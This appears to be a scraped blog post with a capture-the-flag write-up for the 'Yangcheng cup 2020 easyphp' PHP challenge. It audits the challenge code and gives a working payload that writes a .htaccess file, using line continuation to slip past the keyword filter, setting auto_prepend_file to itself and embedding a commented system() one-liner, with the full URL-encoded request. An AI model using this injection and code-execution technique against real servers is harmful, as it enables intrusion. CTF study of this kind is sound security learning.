当前位置:网站首页>[Yangcheng cup 2020] easyphp
[Yangcheng cup 2020] easyphp
2022-07-02 23:02:00 【-Gardenia blue-】
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>Code audit
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
If not index.php page , Page data will be deleted if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
} If no incoming content or filename Parameters are directly die
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
Pass in parameters content To filter , Not by on html type flag upload file$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
Pass in parameters filename To filter ,filename Only lowercase letters and . constitute , otherwise die$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
Just like the initial filtering , If not index.php The data will be deleted
file_put_contents($filename, $content . "\nHello, world");
Put our incoming content content write in filename Inside
But notice that there is a splice here Hello world, It will cause our program to report errors The original idea was filename by a.php,content Pass in a sentence , Result practice :

Discover as html Output directly on the page , There's no resolution , Maybe only parsing is set in the background index.php, After all, the code is right index.php There are many reminders , So I wonder if I can index.php We analyzed our htaccess, Just change the configuration item , So the learning boss learned that he really wanted to use htaccess To get flag
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\htaccess in \ The function of is to splice context , amount to php_value auto_prepend_file.htaccess
Because in order to bypass the filter, from file In the middle

Among them, the use of annotations # Write a sentence into , Because in htaccess Is the function of the annotator , But in php When it comes to execution , In a word, the Trojan horse will be executed
In the third line \ It is for splicing with the last part of the code Hello,world Also as a note , otherwise hello world Go to the fourth line to report an error
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

边栏推荐
- Introduction and response to high concurrency
- 位的高阶运算
- 电路设计者常用的学习网站
- Local dealers play the community group purchase mode and share millions of operations
- 编辑卡顿
- Pytorch training CPU usage continues to grow (Bug)
- Analyse des données dossiers d'apprentissage - - analyse simple de la variance à facteur unique avec Excel
- 情感对话识别与生成简述
- Baidu AI Cloud - create a face recognition application
- 海思3559万能平台搭建:在截获的YUV图像上旋转操作
猜你喜欢

Chow-Liu Tree

mysql重置密码,忘记密码,重置root密码,重置mysql密码

LeetCode 968. 监控二叉树
![Gas station [problem analysis - > problem conversion - > greed]](/img/15/5313f900abedb46ce82d8ab81af1d7.png)
Gas station [problem analysis - > problem conversion - > greed]

AES高級加密協議的動機闡述
![[LeetCode] 反转字符串中的单词 III【557】](/img/72/d3e46a820796a48b458cd2d0a18f8f.png)
[LeetCode] 反转字符串中的单词 III【557】

景联文科技低价策略帮助AI企业降低模型训练成本

从底层结构开始学习FPGA----Xilinx ROM IP的定制与测试

Data analysis learning records -- complete a simple one-way ANOVA with Excel
![[LeetCode] 数组中的第K个最大元素【215】](/img/72/d3e46a820796a48b458cd2d0a18f8f.png)
[LeetCode] 数组中的第K个最大元素【215】
随机推荐
Construction of Hisilicon 3559 universal platform: draw a frame on the captured YUV image
Hanging mirror security won four global infosec awards on rsac2022
电路设计者常用的学习网站
景联文科技低价策略帮助AI企业降低模型训练成本
性能优化----严苛模式
Golang的学习路线
Construction of Hisilicon 3559 universal platform: rotation operation on the captured YUV image
WebRTC音视频采集和播放示例及MediaStream媒体流解析
Jatpack------LiveData
容器化技术在嵌入式领域的应用
【板栗糖GIS】arcmap—为什么使用自定义捕捉的时候,经典捕捉的勾要去掉呢?
泛型与反射,看这篇就够了
【洛谷P1541】乌龟棋【DP】
JS syntax ES6, ES7, es8, es9, ES10, es11, ES12 new features (Abstract)
Addition, deletion, modification and query of handwritten ORM (object relationship mapping)
How does Jerry test the wrong touch rate of keys [chapter]
World Environment Day | Chow Tai Fook serves wholeheartedly to promote carbon reduction and environmental protection
Dahua cloud native load balancing article - the passenger flow of small restaurants has increased
Jerry's charge unplugged, unable to touch the boot [chapter]
静态文件显示问题